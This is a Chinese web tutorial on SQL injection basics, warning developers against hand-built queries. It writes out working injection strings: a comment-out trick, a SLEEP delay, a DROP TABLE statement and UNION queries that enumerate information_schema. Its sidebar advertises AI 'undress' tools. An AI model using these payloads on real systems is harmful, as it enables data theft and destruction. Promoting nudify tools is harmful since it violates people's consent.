首页 数据库 SQL 快速了解sql注入基本原理

快速了解sql注入基本原理

Nov 29, 2019 pm 02:41 PM
sql注入 原理

快速了解sql注入基本原理

SQL注入基本原理

WEB技术发展日新月异,但是徒手拼SQL的传统手艺还是受相当多的开发者亲睐。毕竟相比于再去学习一套复杂的ORM规则,手拼更说方便,直观。通常自己拼SQL的人,应该是有听说过SQL注入很危险,但是总是心想:我的SQL语句这么简单,不可能被注入的。

花5分钟看完这个完整的例子,从今往后应该再也不敢有以上侥幸心理了。

简单场景

有一个WEB界面提供输入商品名称,展示对应价格,生产日期及生产地信息。例如输入Hammer展示:

产品 价格 生产地 生产日期
Claw Hammer 12.98 American 2019.11.07
Club Hammer 29.98 Canada 2019.11.11

我们跳过了搭建Web搜索界面的过程,直接关注重点部分: SQL注入

如果要实现以上功能,那么我们大致可以猜到服务器使用的SQL语句如下:

SELECT ? FROM ? WHERE ? LIKE '%Hammer%';
登录后复制

其中?表示目前我们并不知道具体的表名和字段名,此SQL唯一可以被操纵的就是单引号里面的输入内容'%Hammer%。假如我们直接在查找框里输入一个单引号。即变成

select ? from ? where ? Like '%'%';
登录后复制

这样拼接后造成SQL语法错误,得不到任何结果,我们需要使用--来把最后一个单引号注释掉。

select ? from ? where ? Like '%'; -- %';
登录后复制

--后的是注释内容(你也可以用#),这样你可以得到所有的产品信息,目前为止,还是没有嗅到危险的信号。

产品价格生产地生产日期
Claw Hammer12.98American2019.11.07
Club Hammer29.98Canada2019.11.11
Paring Knife10.98China2019.11.11
Boning Knife19.98China2019.01.01

小试牛刀and

紧紧抓住上一步中可以扩展的单引号部分。来一个简单的延时语句试一试:

select ? from ? where ? Like '%Hammer%' and 1 = SLEEP(2); -- %';
登录后复制

这时查询会2秒后才返回结果,如果把时间延长,用脚本多点几次查询,一下就能把数据库的连接池用完。

当然,还有破坏力更强的!

select ? from ? where ? Like '%Hammer%'; drop table xxxx; -- %';
登录后复制

可以直接把表/数据库直接删除掉,至于如何知道引数据库中有哪一些表(即如何确定上句SQL中的xxxx)呢?

为所欲为union

我们需要知道此数据库有哪一些表!这样才能能拿到有用的信息。

使用union可以把不同表的内容拼在一起,小试一下:

select ?,?,?,? from ? where ? Like '%Hammer%' UNION (select 1,2,3,4 from dual); -- %';
登录后复制
产品价格生产地生产日期
Claw Hammer12.98American2019.11.07
Club Hammer29.98Canada2019.11.11
1234

可以看到我们把假数据1,2,3,4成功地拼接到搜索结果中。

Mysql系统自带的信息都存在information_schema数据库中。我们试着在里面找找有用的信息。

select ? from ? where ? Like '%Hammer%' UNION (select TABLE_NAME,TABLE_SCHEMA,3,4 from information_schema.tables); -- %';
登录后复制
产品价格生产地生产日期
Claw Hammer12.98American2019.11.07
Club Hammer29.98Canada2019.11.11
authorshawkeye34
productshawkeye34
userhawkeye34
........34

现在知道了这些数据库名和表名,所有人都对它为所欲为了!(包括上面执行的DROP)。

看着列表一猜就能知道我们目前查的是products表,接下来我们再把products具体的字段也挖出来。

select ? from ? where ? Like '%Hammer%' UNION (select COLUMN_NAME,TABLE_SCHEMA,3,4 from imformation_schema.columns where table_name = 'products'); -- %';
登录后复制
产品价格生产地生产日期
Claw Hammer12.98American2019.11.07
Club Hammer29.98Canada2019.11.11
idhawkeye34
namehawkeye34
pricehawkeye34
addresshawkeye34
updated_athawkeye34

所以,通过上面2步,我们知道了表名和字段名,那么查询API的完整SQL应该是(把上面的?都补全啦):

select name,price,address,updated_at from products where name like '%Hammer%';
登录后复制

通过不断重复以上几个步骤,你就可以通过这一个小小的入口把数据库的所有信息(比如上面发现的user表

以上是快速了解sql注入基本原理的详细内容。更多信息请关注PHP中文网其他相关文章!

本站声明
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

热AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover

AI Clothes Remover

用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool

Undress AI Tool

免费脱衣服图片

Clothoff.io

Clothoff.io

AI脱衣机

Video Face Swap

Video Face Swap

使用我们完全免费的人工智能换脸工具轻松在任何视频中换脸!

热工具

记事本++7.3.1

记事本++7.3.1

好用且免费的代码编辑器

SublimeText3汉化版

SublimeText3汉化版

中文版,非常好用

禅工作室 13.0.1

禅工作室 13.0.1

功能强大的PHP集成开发环境

Dreamweaver CS6

Dreamweaver CS6

视觉化网页开发工具

SublimeText3 Mac版

SublimeText3 Mac版

神级代码编辑软件(SublimeText3)

nohup的作用及原理解析 nohup的作用及原理解析 Mar 25, 2024 pm 03:24 PM

nohup的作用及原理解析在Unix和类Unix操作系统中,nohup是一个常用的命令,用于在后台运行命令,即便用户退出当前会话或关闭终端窗口,命令仍然能够继续执行。在本文中,我们将详细解析nohup命令的作用和原理。一、nohup的作用后台运行命令:通过nohup命令,我们可以让需要长时间运行的命令在后台持续执行,而不受用户退出终端会话的影响。这在需要运行

深度探讨Struts框架的原理与实践 深度探讨Struts框架的原理与实践 Feb 18, 2024 pm 06:10 PM

Struts框架的原理解析与实践探索Struts框架作为JavaWeb开发中常用的MVC框架,具有良好的设计模式和可扩展性,广泛应用于企业级应用程序开发中。本文将对Struts框架的原理进行解析,并结合实际代码示例进行探索,帮助读者更好地理解和应用该框架。一、Struts框架的原理解析1.MVC架构Struts框架基于MVC(Model-View-Con

深入理解MyBatis中的批量Insert实现原理 深入理解MyBatis中的批量Insert实现原理 Feb 21, 2024 pm 04:42 PM

MyBatis是一款流行的Java持久层框架,广泛应用于各种Java项目中。其中,批量插入是一个常见的操作,可以有效提升数据库操作的性能。本文将深入探讨MyBatis中的批量Insert实现原理,并结合具体的代码示例进行详细解析。MyBatis中的批量Insert在MyBatis中,批量Insert操作通常使用动态SQL来实现。通过构建一条包含多个插入值的S

深入探讨Linux RPM工具的作用和原理 深入探讨Linux RPM工具的作用和原理 Feb 23, 2024 pm 03:00 PM

Linux系统中的RPM(RedHatPackageManager)工具是一种用于安装、升级、卸载和管理系统软件包的强大工具。它是RedHatLinux系统中常用的软件包管理工具,也被许多其他Linux发行版采用。RPM工具的作用非常重要,它使得系统管理员和用户能够方便地管理系统上的软件包。通过RPM,用户可以很容易地安装新的软件包,升级现有的软件

Laravel开发注意事项:防止SQL注入的方法与技巧 Laravel开发注意事项:防止SQL注入的方法与技巧 Nov 22, 2023 pm 04:56 PM

Laravel开发注意事项:防止SQL注入的方法与技巧随着互联网的发展和计算机技术的不断进步,Web应用程序的开发也变得越来越普遍。在开发过程中,安全性一直是开发者不可忽视的重要问题。其中,防止SQL注入攻击是开发过程中需要特别关注的安全问题之一。本文将介绍几种Laravel开发中常用的方法和技巧,帮助开发者有效地防止SQL注入。使用参数绑定参数绑定是Lar

MyBatis分页插件原理详解 MyBatis分页插件原理详解 Feb 22, 2024 pm 03:42 PM

MyBatis是一个优秀的持久层框架,它支持基于XML和注解的方式操作数据库,简单易用,同时也提供了丰富的插件机制。其中,分页插件是使用频率较高的插件之一。本文将深入探讨MyBatis分页插件的原理,并结合具体的代码示例进行说明。一、分页插件原理MyBatis本身并不提供原生的分页功能,但可以借助插件来实现分页查询。分页插件的原理主要是通过拦截MyBatis

深度解析Linux chage命令的功能与工作原理 深度解析Linux chage命令的功能与工作原理 Feb 24, 2024 pm 03:48 PM

Linux系统中的chage命令是用来修改用户账号的密码失效日期的命令,也可以用来修改账号的最长和最短可用日期等。该命令在管理用户账号安全上起到非常重要的作用,可以有效地控制用户密码的使用期限,增强系统的安全性。chage命令的使用方法:chage命令的基本语法为:chage[选项]用户名例如,要修改用户“testuser”的密码失效日期,可以使用以下命

Golang实现继承方法的基本原理和方式 Golang实现继承方法的基本原理和方式 Jan 20, 2024 am 09:11 AM

Golang继承方法的基本原理与实现方式在Golang中,继承是面向对象编程的重要特性之一。通过继承,我们可以使用父类的属性和方法,从而实现代码的复用和扩展性。本文将介绍Golang继承方法的基本原理和实现方式,并提供具体的代码示例。继承方法的基本原理在Golang中,继承是通过嵌入结构体的方式实现的。当一个结构体嵌入另一个结构体时,被嵌入的结构体就拥有了嵌

See all articles